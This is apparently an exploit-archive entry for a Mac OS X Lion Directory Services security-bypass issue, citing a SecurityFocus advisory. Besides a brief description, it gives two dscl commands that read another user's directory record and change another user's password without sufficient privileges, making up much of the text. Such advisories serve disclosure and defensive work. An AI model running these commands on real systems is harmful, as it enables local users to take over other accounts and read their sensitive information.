Apple Mac OSX (Lion) - Directory Services Security Bypass
source: https://www.securityfocus.com/bid/49676/info
Apple Mac OS X Lion is prone to multiple security-bypass vulnerabilities.
Local attackers can exploit these issues to obtain sensitive information or change the password of other users on the computer, without sufficient privileges.
$ dscl localhost -read /Search/Users/bob
$ dscl localhost -passwd /Search/Users/<username>